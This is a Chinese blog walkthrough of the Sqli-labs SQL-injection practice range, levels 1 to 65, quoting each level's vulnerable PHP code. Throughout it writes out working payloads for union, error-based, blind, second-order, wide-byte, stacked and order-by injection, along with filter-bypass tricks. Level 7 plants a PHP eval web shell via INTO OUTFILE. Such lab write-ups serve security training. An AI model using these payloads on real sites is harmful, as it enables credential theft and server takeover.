以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好
继续把以前有头没尾的事做完
以下为Sqli-lab的靶场全部通关答案
目录:
1-2关 基于错误的字符串/数字型注入
闭合的符号有区别而已
http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 --
http://www.sqli-lab.cn/Less-1/?id=1' order by 3 --+ #字段数为3
http://www.sqli-lab.cn/Less-1/?id=1' and 1=2 union select 1,2,3 --+ #显示位为2，3
http://www.sqli-lab.cn/Less-1/?id=1' and 1=2 union select 1,version(),database() --+
查看所有数据库名
http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查询security内的所有表名
http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
接着使用下面的语句爆破出列名
http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
爆用户名和密码
http://www.sqli-lab.cn/Less-1/?id=1' AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+
3-4关也是一样 只不过闭合符号不一样了些 需要 ‘) 来闭合
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}else{
print_r(mysql_error());
}
5-6关 这里打印了错误信息 ，可以布尔盲注也可以直接报错注入
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制，其最长输出32位
并且该语句对payload的反悔类型也做了限制，只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制，最长32位。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
print_r(mysql_error());
}
http://www.sqli-lab.cn/Less-5/?id=1' union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+
http://www.sqli-lab.cn/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
表名
http://www.sqli-lab.cn/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆列
http://www.sqli-lab.cn/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 7,1),floor(rand()*2))as a from information_schema.tables group by a%23
爆值
http://www.sqli-lab.cn/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23
第7关 into Outfile来写shell
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in.... Use outfile......';
}else{
echo 'You have an error in your SQL syntax';
}
$id被双层括号和单引号包围，URL正确时有提示 用outfile，错误时只知有错误
http://www.sqli-lab.cn/Less-7/?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile 'E:\\phpstudy\\WWW\\sqli\\Less-7\\1.php' --+
第八关 基于布尔的盲注
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
}
http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+
http://www.sqli-lab.cn/Less-8/?id=1' and (length(database())) = 8 --+ #数库名长度=8
盲注得出数据库名 security
http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,3,1))) = 99 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+
接着判断表名长度
http://www.sqli-lab.cn/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
判断出第四张表示user
http://www.sqli-lab.cn/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,2,1))) = 115 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,3,1))) = 101 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,4,1))) = 114 --+ http://www.sqli-lab.cn/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,5,1))) = 115 --+
其他的同样的方法 替换payload而已
第九和十关 基于时间的盲注
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'You are in...........';
}else{
echo 'You are in...........';
}
http://www.sqli-lab.cn/Less-9/?id=1'+and+if(1=1, sleep(5), null)+ --+
通过延迟来判断
http://www.sqli-lab.cn/Less-9/?id=1' and (length(database())) = 8 +and+if(1=1, sleep(5), null)+ --+
http://www.sqli-lab.cn/Less-9/?id=1' and (ascii(substr((select database()) ,1,1))) = 115 +and+if(1=1, sleep(1), null)+ --+
逐个猜解便是
Less11
payload:
uname=admin' order by 2#&passwd=1&submit=Submit //判断列数uname=admin' or ''='' #&passwd=1&submit=Submit uname=-qing' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit//爆全部数据
没啥说的
Less12
和11关一小点不同
闭合符号不一样而已
payload:
uname=admin") order by 2#&passwd=1&submit=Submit //判断列数uname=admin") or '1'='1' #&passwd=1&submit=Submit uname=-qing") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)##&passwd=1&submit=Submit//爆全部数据
Less13
// connectivity
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
用注释符号就很简单了 不用注释也只是需要一点点变化
payload:
uname= qing') or 1=1 -- +&passwd=1&submit=Submituname= qing') or ('1')=('1 &passwd= ') or ('1')=('1 &submit=Submituname= qing') or 1=1 # &passwd= ') or 1=1 # &submit=Submit
爆数据:
莫得回显数据 就直接报错函数了
uname= qing') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit uname= qing') union select count(*),concat(0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit
uname= qing') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit uname= qing') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit uname= qing') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit uname= qing') union select 1,2 from (select count(*),concat((select concat(count(*),0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit uname= qing') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= qing') or 1=1 # &submit=Submit
Less14
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
和上关的闭合符号不一样而已 不再多说
payload:
uname= qing" union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit
Less15
单引号闭合的布尔盲注 直接用盲注语句猜解就是了
uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit
Less16
闭合变成双引号的 不多说
Less17
update的注入
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
payload:
uname=admin&passwd=qing' or updatexml(1,concat(0x7e,(version()),0x7e),0) or '&submit=Submit
Less18
http头的内容拿到insert 基于报错注入就ok
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
payload:
qing' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '
Less – 19
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
这次就是基于refer字段拼接到insert 和上一个一样的道理。
Less – 20
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
cookie字段的注入 位置不同而已
payload:
Cookie: uname=' union select 1,database(),6 or 1=1 #;
Less – 21
cookie注入
YOUR COOKIE : uname = RHVtYg== and expires: Sat 16 Jul 2016 – 08:32:26
注： RHVtYg== 是 Dumb 经Base64加密后的值
和上关又是差不多 base64编码而已
payload:
') or 1=1 #
Jykgb3IgMT0xICM=
Less – 22
闭合为双引号 参考上关不多说
Less – 23
过滤了注释符号 而已
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
payload:
qing' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
Less – 24
最简单的二次注入 没任何过滤
login.php：
发现输入进行了mysql_real_escape_string()函数转义 编码如果不是gbk宽字节注入 单引号是不能用了。
function sqllogin(){ $username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row) ;
if ($row[1]) {
return $row[1];
} else {
return 0;
}}
login_create.php：
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']); echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
这里看到这里把username再次取出来查询的没有任何过滤 所以我们在插入username的就直接把注入的payload插到数据库里，取出来时候造成注入
admin' or 1=1#
登录了admin' or 1=1#这个账号 输入新密码qing
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']); if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
update的时候就把我们原先的admin' or 1=1 #取出来拿到语句中了 所以密码都是qing了。
Less – 25
这关开始过滤
function blacklist($id){
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
双写就行了 没啥说的
payload:
http://sqli-qing.cn/sqli/Less-25/?id=1' oorr '1'='1http://sqli-qing.cn/sqli/Less-25/?id=qing' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+
Less – 25a
这关和25一样 莫得单引号而已
http://sqli-qing.cn/sqli/Less-25a/?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+
Less – 26
这关过滤多一些 好耍一点
function blacklist($id) {
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
单引号闭合 过滤了 or，and ， /* , – , # , 空格 , /
payload：
qing'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1
%A0替代空格 &&替换and 注意url编码 需要linux 不测试了
Less – 26a
多一个闭合括号 不多说
Less – 27
function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
多一些过滤 关键字大小写就行了
payload：
0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1
Less – 27a
function blacklist($id){
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out Select
return $id;
}
闭合不一样而已
payload:
0"%A0or(1)=(1)%26%26%a0"1
http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(table_name),3%A0from%A0information_schema.tables%A0where%A0table_schema='security'%26%26%a0"1 http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1
Less – 28
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
过滤union select这一个组合，也要过滤空格，所以采用union union select select方法绕过，空格照样用%0a替换
payload:
0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1
Less – 28a
简单不多说
Less – 29
加了一个很弱的”waf..”
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1); //logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s); foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
} }}?>
注入方法就是参数污染
例子 显示的是id=2的内容 但是waf检测的是前面id=1的内容 好理解吧？
payload:
http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,version(),database() --+ http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(username),group_concat(password) from security.users where 1 --+
Less – 30
不多说 花里胡哨非得设置单独一关
Less – 31
同上
Less – 32
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash return $string;
}...mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";...
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";
简单说check_addslashes函数把\\ 单引号 双引号都进行过滤转义
明显的编码gbk 宽字节注入 不用多说
payload:
http://sqli-qing.cn/sqli/Less-32/?id=-1%df%27 UNion seleCt 1,2,DATABASE()--+
Less-33
不多说
Less-34
变成32 33 post的方式而已 没意义
Less-35
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
...
// connectivity mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
id没有被单引号括起来所以addslashes起不到作用
正常各种payload即可:
http://sqli-qing.cn/sqli/Less-35/?id=-1x and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
Less-36
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
mysql_real_escape_string转义 还是一样不多说
Less-37
post登录的而已
uname=admin%df%27 or 1=2 union select 1,database()#
Less-38
堆叠注入 来看看
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{ /* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。（有这个才能进行堆叠）
分号我们可以加入注入的新的语句
payload:
http://sqli-qing.cn/sqli/Less-38/?id=2%FE' or 1=1 %23 http://sqli-qing.cn/sqli/Less-38/?id=0%FE' union select 1,version(),database() %23 http://sqli-qing.cn/sqli/Less-38/?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23 http://sqli-qing.cn/sqli/Less-38/?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23
Less-39
参考38
Less – 40
参考38
Less – 41
为数字的堆叠 还是参考38
Less – 42
还是堆叠
qing';creat table me like users
Less – 43
闭合为’) 深感这些关出出来没什么意义
Less – 44
$username = mysqli_real_escape_string($con1,$_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql)){
if($result = @mysqli_store_result($con1)){
if($row = @mysqli_fetch_row($result)){
if ($row[1]){
return $row[1];
}else{
return 0;
}
payload:
login_user=admin&login_password=1' or '1'='1&mysubmit=login
Less – 45
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql)){
if($result = @mysqli_store_result($con1)){
if($row = @mysqli_fetch_row($result)){
if ($row[1]){
return $row[1];
}else{
return 0;
}
}
}
}
Less – 46
到了order by注入 来看看哈
$id=$_GET['sort'];
if(isset($id))
{
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'SORT:'.$id."\n");
fclose($fp); $sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);
通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
http://sqli-qing.cn/sqli/Less-46/?sort=1+asc
http://sqli-qing.cn/sqli/Less-46/?sort=1+desc
说下order by可以哪些方法注入
首先报错注入
http://sqli-qing.cn/sqli/Less-46/?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
还可以盲注 可以用到异或注入 这里布尔盲注
id ^(select(select version()) regexp '^5')
http://sqli-qing.cn/sqli/Less-46/?sort=1 ^(select(select version()) regexp '^5')
稍微提一下:
regexp正则匹配的时候，如果匹配到数据返回1(00000001)的时候，此时的1会和id中的数据的二进制进行异或，按照异或的结果进行升序排列，所以显示的排列会发生变化；反之当进行正则匹配的时候，未匹配到数据返回0(00000000)，此时数字和0异或的结果还是本身，所以显示的排列不会发生改变。
时间盲注也可以
http://sqli-qing.cn/sqli/Less-46/?sort=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(5)))test))
order by 也可以union 联合查询
order by id ) union(select 1,(version()),3)
有个条件前面得有个( ctf有 实战没遇到过
Less – 47
闭合为单引号 参考46
Less – 48
这关就是盲注了 参考46
Less – 49
$sql = "SELECT * FROM users ORDER BY '$id'";
$result = mysql_query($sql);
if ($result){
while ($row = mysql_fetch_assoc($result)){
echo $row['username'];
echo $row['password'];
}
}
Less – 50
数字型 参考46
Less – 51
Less – 52
Less – 53
这些关都可以参考46 差别真的太小了 没有意义的关卡
Less 54
这一关没什么特别 特别在于查询的次数 key下面那段就是为了控制查询次数 随便表名列名
// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
...
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error()); $row = mysql_fetch_array($result);
payload：
http://sqli-qing.cn/sqli/Less-54/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+ http://sqli-qing.cn/sqli/Less-54/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='qing' --+ http://sqli-qing.cn/sqli/Less-54/?id=0' union select 1,group_concat(secret_qing),group_concat(sessid) from challenges.qing --+
首先知道库名 challenges
查询表名
http://sqli-qing.cn/sqli/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
列名和剩下的不多说了把
id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='842yxlmx7h'--+
http://sqli-qing.cn/sqli/Less-54/?id=-1'union select 1,2,group_concat(secret_KOB8) from challenges.842yxlmx7h--+
Less – 55
同 Less 54。 基于小括号
Less – 56
同 Less 54。基于小括号_单引号
Less – 57
同 Less 54。基于 _双引号_字符型 没意义
Less – 58
一点区别而已 这关开始不返回数据库查询内容 不能union select 那就报错
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘7mu71b84nt’),0x7e))–
Less – 59
Less – 60
不多说 看58
Less – 61
-1’)) and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges’),0x7e))–+
Less – 62
这里union注入和报错注入都不行
盲注 不多说
)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))–+
Less – 63
Less – 64
LESS-65
闭合不同 做法同62
恩完毕 国庆写的还有点感冒 溜了溜了
